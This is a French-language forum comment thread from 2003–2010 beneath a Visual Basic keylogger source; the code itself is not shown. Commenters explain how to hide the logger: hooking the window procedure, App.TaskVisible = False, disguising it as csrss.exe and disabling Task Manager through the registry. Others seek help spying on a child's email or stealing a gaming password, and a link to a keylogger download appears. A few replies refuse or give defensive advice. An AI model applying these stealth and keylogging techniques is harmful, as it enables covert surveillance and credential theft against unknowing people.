- Concernant le but de ce programme. Je l'ai crée, pour un usage "domestique" (lol). Ensuite je n'execute aucune action mal veillantes au lycée, juste pour le fun.
Enfin, Je vous laisse et a+ les mectons.

Commentaire de pcpunch le 21/10/2003 21:55:30

OK lol mais c du copier coller ca se voit!! mais bon c vrai qu'il faut apprendre!!! en faite moi je sais pas comment coder ca en qq ligne si qq aurait des infos ou une src d'un code qui tourne , car celui la merde un peu!!! (Repetition des touches, ou alors invertion etc.....)

C'est pour sureveiller mon pc et non hacker des gens???

Commentaire de jojok65 le 23/10/2003 00:00:14

waow, quelle daupe !
achete un bouquin a 10 euros et apprend.... avant de balancer tes sources idiotes
amicalement

Commentaire de MrBen le 24/10/2003 14:29:34

p'ti novice en detresse !

en 10 lignes avec keypress ..
Pas de problemes mais comment caché la feuille alors ?

En fait comment continuer d'éxecuter une page "hide" ou "invisible" ?

hum hum help me ;) THX

Commentaire de psykopatt le 24/10/2003 14:55:57

Ok pour les 10 lignes avec keypress, mais chui debutant alors sai pas comment faire.
Si kelkun peut m'explain in quelques lignes.
Thx.
A+

Commentaire de MadLucas le 24/10/2003 15:06:41

Salut MrBen,

En fait, Keypress n'est pas nécessairement ce qu'il y a de mieux pour ce genre de programme.  Keypress est un "event" de VB et agît surtout lorsque l'App a le focus.  Le problème ici c'est qu'on veut à tout prix "cacher" l'App et continuer à gérer les events.

Petit problème, c'est que VB gère lui-même les messages que Windows reçoit et les vulgarisent de sorte qu'il soit plus facile de coder.  La farce est que les fameux "Events" de VB n'existe pas vraiement dans Windows.  Win fonctionne plutôt avec des messages envoyés dans une file d'attente et c'est le coeur de Windows qui dispatch le tout dans le système.  Bon, le sujet est très vaste et je ne veut pas écrire un roman ici, mais voici quelques pistes intéressantes:

Premièrement, tu vas devoir passer par dessus VB en utilisant directement la technologie API (Application Program Interface).  l'API est une collection de fonctions prédéfinies de Windows utilisées pour contrôler l'apparence, les réactions et tout autres éléments de Windows.  Les API disent à Windows ce qui se passe en envoyant constament des messages dans une file d'attente.  Windows traite ensuite ces messages et prend des décisions.  C'est un peu comme le code "natif" de Windows.  Nous pouvons dire que VB prend chacune des lignes de codes de ton programme et les traduits dans des fonctions API qui sont ensuite envoyés à Windows.  Ce qui nous intéresse ici est bien sûre intercepter l'activitée de l'usager par les entrées interfaces comme le clavier et la souris.

Pour pouvoir utiliser un API dans VB, tu vas devoir la "déclarer" dans ton code..  Cherche ce sujet sur Google.  Si tu veux connaître la syntaxe d'un API, tu n'as qu'à lancer API Text Viewer et ouvrir Win32Api.txt (ou .MDB si tu l'as convertis pour l'accélérer)..  Sélectionne ensuite Declares, trouves la fonction, click Add et ensuite Copy et colle le tout dans ton projet..  Fait la même chose avec les Constantes et les Types.  Si tu l'utilises dans un module, il faut que l'API soit déclaré comme Private.

N'oublie pas qu'il y a des convertion à faire...  par exemple, si un API utilise un DWORD, tu devras le remplacer par un ByVal var As Long.  Je posterai une table de convertion bientôt...

Ta fonction déclaré ressemblera à ça:

Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA"(ByVal lpBuffer As String, nSize As Long) As Long

Maintenant, ce qui t'intéresse ici, c'est les fonctions API de CallBacks.  Cherche encore une fois Google à ce sujet.

La procédure de Windows qui gère les messages, c'est WinProc.  Recherche de l'info sur le codage C Windows pour plus de détails sur le moteur même de Windows.  Bref, tu peux grâce à VB dire à Windows de ne plus utiliser WinProc pour gérer la "Stack" mais plutôt d'utiliser une procédure propriétaire que tu auras préalablement codé...  Pour ce faire, tu peux utiliser la commande AddressOf de VB..  Par exemple:

oldWndProc = SetWindowLong(Me.Hwnd, -4,AddressOf MyWndProc)

Lorsque tu auras pris le contrôle de la file d'attente de Windows, tu pourras alors intercepter des messages comme WM_LMOUSEBUTTON, etc..  C'est là que tu pourras tout contrôler sans que ton application ait à garder un focus.

Pour cacher ton App, tu peux mettre la propriété Visible à False et ensuite ajouter ce code au Form_Load:

App.TaskVisible = False

Cette commande va tout simplement cacher ton App dans le System (ctrl+alt+del) ...


Voilà, c'est un GROS résumé, la matière de ce sujet dépasse amplement la capacité du petit Textbox que j'utilise présentement.

Bonne chance !!


MadLucas

Commentaire de OSIRISVOICE_ADN le 25/10/2003 17:37:43

7/10... 8/10... 9/10... ------10/10------
BRAVO !!!
Bingo !!!!
jackpot !!!
LoL

Commentaire de OSIRISVOICE_ADN le 25/10/2003 17:42:05

Cela fait plaisir de mêttre une bonne note !!!
(D'ailleur une note à la source N°17283 ne me ferait pas de mal ...)

Commentaire de cyberdetective06 le 29/10/2003 20:33:33

Bravo à MadLucas pour ce cours magistral, qui contient d'excellentes informations pour étoffer ces lignes de codes. Je recherche d'ailleurs des sources sur ce type de programme, et je me demande s'il existe du code valable tant pour win95-98 que pour Xp.

Commentaire de MrBen le 05/11/2003 12:56:40

C'est claire un grand merci a MadLucas :)

y a plus qu'a mettre tout ca en application ( c'est le cas de le dire ;) )

Commentaire de pruche le 21/11/2003 22:10:25

Je ne comprends rien a tous vos commentaires sur la programmation ! Ma seule préocupation c'est que j'ai un adolescent qui a des problèmes... Je crois qu'il a des contacts, correspondances sur Hotmail et yahoo  avec un adlute pervère. J'aimerais avoir accès à son courrier; je connais déjà son nom d'utilisatuer mais difficile d'avoir son mot de passe. Quelqu'un peu m'aider ? Merci !

Commentaire de MadLucas le 21/11/2003 22:29:28

Bonjour Mr Pruche,


Je ne peux malheureusement pas vous aider à pirater un site commerciale car c'est contre l'étiquette professionnelle.  Peut-être que la meilleure façon est de demander à votre fils de vous montrer le contenu de son courrier électronique ?

Si quelqu'un ici sur le réseau vous demande de fournir le mot de passe de votre garçon, ne le faite pas par sécurité.

Sinon, il est possible que quelqu'un vous programme un code espion qui va justement enregistrer le mot de passe de votre fils quand il se connectera à son compte.  Il y a sûrement beaucoups de programmeurs qui sont prêt à relever le défi !

La meilleure chose à faire d'après moi c'est de lui demander tout simplement.


MadLucas

Commentaire de psykopatt le 21/11/2003 22:42:54

Slt pruche c Psyko,
Tu n'as ka me passer ton adresse email et j'essaierai de t'aider.
Bonne soirée
et a +.

Commentaire de FlasherBoy le 24/11/2003 21:26:24

Un conseil, qui je pense sera utile au lieu de mettre "touche a","touche b" etc met directement la lettre se sera plus utile et plus lisible

Commentaire de pepsi le 11/05/2004 17:05:55

2 choses les petits con qui disse dutiliser le keypress .... le key presse est un évènement dans ton exe mais si sé metton l'appel Novel pour t'identifier au serveur qui a le focus JAMAIS le keypress va être déclencher ... pi 2 petit truc pour que le résultat ressemble pas à sa : "aaaaaaaaaabbbbbbbbbbc"  ou ben a sa "c" quand tu tape "abc" et que le timer est ajuster +/- rapide tu met le timer a 1 mili pi tu met dans le code du timer qqc qui avant de rajouter un code s'assure que sé pas celui ci qui vient d'être entrer ... la vous allez dire mais si tu tape "aaa" ben sa va juste marquer "a" ben non car entre tes tapes sur les touche du clavier il à des code null ... le seul hicc sé si l'utilisateur tien enfoncé un bouton pour marquer plusieurs fois le même caractère .... mais sé ben rare que l'on marque son pass comme sa ...

Commentaire de remy59410 le 08/06/2004 23:44:56

pour mr pruche
il suffit simplement de telecharger un recuperateur de frappe (keylogger) entierement configurable a cette adresse:  

http://www.minelog.com/gratifree/compte.php?url=http://www.blazingtools.com/downloads/i_bpk_lite.exe&id=6328

Commentaire de cyril120d le 20/05/2005 14:26:47

je comprend pas comment sa marche pouvais vous m'eclairer precoisement

Commentaire de tekila_bandita le 16/06/2005 21:01:32

J'ai mis 10 parce que je trouve que c'est facile de dire que cette source est incomplete mais je rappele que ce n'est pas censé etre une key logger mais juste une petite source pour en informer certaine personne...

Commentaire de tekila_bandita le 16/08/2005 11:47:24

mouai... t'aurais pus utiliser la source pour changer les pass admin...

Commentaire de us_30 le 01/10/2005 21:26:30

Salut,

JE trouve que pomper l'intégralité d'une autre source, sans jamais l'indiquer... ben, c'est pas très sympa !

Donc ce qui semble être le vrai auteur :
http://www.vbfrance.com/code.aspx?ID=3130

LE plus terrible, c'est que cette source est présente dans le TOP des catégorie... m'enfin... Je ne note pas, mais je donnerais pas grand chose...

JE signalerai, que les touches des caractères spéciaux, ne correspondent pas forcément avec ce qui est annoncé sur mon portable... Bien, que cette remarque devrait intérésser plus le vrai auteur...

=

Remarques, sur le code à proprement parler.

Le Case 0 est stupide ! puisque qu'avant on a If ... <>0 ...

Ensuite, il serait peut-être plus intéressant d'enregistrer uniquement les valeurs "a", qui ont un intérêt pour récupérer le texte tapé. On peut récupérer plus facimelement les signes des touches grâce à la fonction "chr" ; avec un truc du genre "Chr(a)" ... CE qui, avec un peu d'astuce, évite bien des lignes de codes...

Puis, marquer le déplacement de la souris est assez peu intéressant, d'autant qu'on ne sait pas où elle se déplace... Sauf si on utilise une autre API, pour récupérer les coordonnées de déplacement... mais bon c'est une autre histoire...

Amicalement,
Us.

Commentaire de mti le 14/11/2005 19:04:49

pour qu'on ne puisse arrêter ton prog, trois astuces:
1/ cacher ton prog dans le gestionnaire des taches (seulement dans l'onglet applications mais tu vas voir, c'est utile pour la suite.):
   Tu mets App.TaskVisible = False dans ton programme.
2/ commen ton prog n'apparaît plus que dans les processus, tu l'appelles csrss.exe, et le gestionnaire des taches ne veut pas le fermer (et oui, une faille de plus de Micr©$©ft windaube ;-))

3/ ou tous simplement tu desactive le gestionnaire des taches:
tu demande à ton prog d'ouvrir
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
(si System n'éxiste pas tu la crée)
Tu crée la chaîne "disabletaskmgr", tu met la valeur 1 et là t'as droit à un beau message de windaube qui te dis que le gestionnaire des tâches est désactivé par l'admin de l'ordi (!!!)

Donc voilà tant qu'a faire n'utilisez pas ces fonctions pour faire un virus tant qu'a faire!
De toute facon, je suis pas responsable de ce que vous faites!

Commentaire de kkkevvv le 26/10/2006 12:03:38

Bonjour, je n'est pas bien compris a quoi server ce programme il sert a rien a par retenir toutes les touches qu'on tape mais il ne sert absolument a rien.

Commentaire de econs le 26/10/2006 12:15:09 administrateur CS

L'utilité du programme est pourtant clairement expliquée dans le titre et dans la description. Difficile de faire plus clair.

Commentaire de adocris le 30/12/2006 03:03:05

Salut à tous,

Et comment faire pour se protéger de ce genre "d'astuce" ???
Ah oui au passage, csrss.exe ça correspond à quoi ?

Merci en tout cas pour toutes ces infos

Commentaire de DarkVader le 30/12/2006 17:50:49

Bonjour,

Et comment faire pour se protéger de ce genre "d'astuce" ???
------------------------------------------------------------------
En vérifiant les exécutables actifs dans le gestionnaire de taches

csrss.exe ça correspond à quoi ?
------------------------------------------------------------------
C'est un processus Windows

Commentaire de adocris le 03/01/2007 03:33:37

Merci DarkVader pour ta réponse.
Mais je reste sur ma faim : csrss.exe je sais bien que c&#8217;est un processus Win (on le voit constamment dans le gestionnaire des taches) mais il sert à quoi ?
Et si on peut nommer un exécutable avec le même nom, surveiller ce fameux gestionnaire sert-il encore à quelque chose ??? (voir message de MTI ci-dessus)

Commentaire de DarkVader le 03/01/2007 10:18:20

csrss : client server runtime subsystem

Les techniques habituellement utilisées :
modification du processus générique ou attribution d'un nom approchant.
Dans les 2 cas, cela relève d'un anti-virus, sinon il existe un utilitaire technet très intéressant : autoruns
(voir sur www.sysinternals.com)

PS: A défaut d'antivirus ou autre, la 1ère démarche en cas de doute consiste à lire les propriétés d'un exécutable
et plus particulièrement le nom de l'entreprise l'ayant conçu.
Jusqu'à maintenant je n'ai pas vu de virus qui ne soit pas anonyme.

Commentaire de tuvatroloin le 08/05/2007 10:35:23

hello, bien pratique ce petit logiciel. Je l'ai installé dans c/program files puis j'ai crée le fichier txt, mais... rien ne s'enregistre dans le dit fichier. y aurait t-il une étape que j'ai oublié ? merci d'avance..

Commentaire de Passifiste le 07/07/2007 18:52:47

Bonjour ou Bonsoir,
Je viens a peine de m'inscrire sur le site et je voudrais savoir comment envoyer ce logiciel,
comment reçoit-on ce que les personnnes écrivent, si on peut changer les noms des fichiers Keylogger.exe, Keylogger.Frm et Keylogger.Vbp ???
Merçi d'avance et j'aimerais obtenir une réponse le plus rapidement possible.

Ps: Je ne comprend pas le langage informatique.

Commentaire de supdead89 le 12/02/2008 12:16:54

Bonjour a tous, je me suis fait hacker un compte de jeux video, pas moyen de le recuperer,
je connais la personne qui a fait sa, mais impossible de le recuperer, il me dit que ce n'est pas lui mais je l'ai vu se logger a mon compte ! est ce possible de pouvoir recuperer ce mot de passe sans qu'il ne s'apercoive ?? je peut aller sur son pc mais c'et risquer, j'ai un peu lu le forum et apparement un "keylogger" serait le seule moyen pour moi !
pouver vous m'aider si oui, je vous envoi mon adresse email pour en discuter

merci d'avance !

Commentaire de kamenda le 24/09/2009 13:05:48

salut desole, mais je suis novice pourriez vous m'expliquez plus simplement comment faire apres avoir telecharger le logiciel merci

Commentaire de PCPT le 24/09/2009 13:07:53 administrateur CS

bonjour kamenda
accueil > questions et réponses > autres questions
http://www.vbfrance.com/doc/faq.aspx#vb_src

Commentaire de memer2 le 20/05/2010 19:27:44

t tropp fortt mecc :D :D sa marcheeeeeeee !!!

 Ajouter un commentaire

Nos sponsors


Sondage...

Comparez les prix


iPod touch 3rd Generation (64 Go)
Entre 374€ et 379€

Visiter le guide achat

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode
 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,593 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales
Outils Convertisseur VB/C# Snippets et scripts Outils en ligne La ToolBox
Communauté Programmation Photographie Technologie Newsgroups Emploi Forum Blogs
Guide d'achat Téléphonie mobile Image et son Informatique Bureautique Jeux vidéo
Logiciels Internet & Réseau Développement Market Android Jeux & Loisirs Graphisme Multimédia Sécurité Pilotes
Loisirs Cartes virtuelles Vidéos droles Jeux en ligne Géoguide AndroLib (Android Market)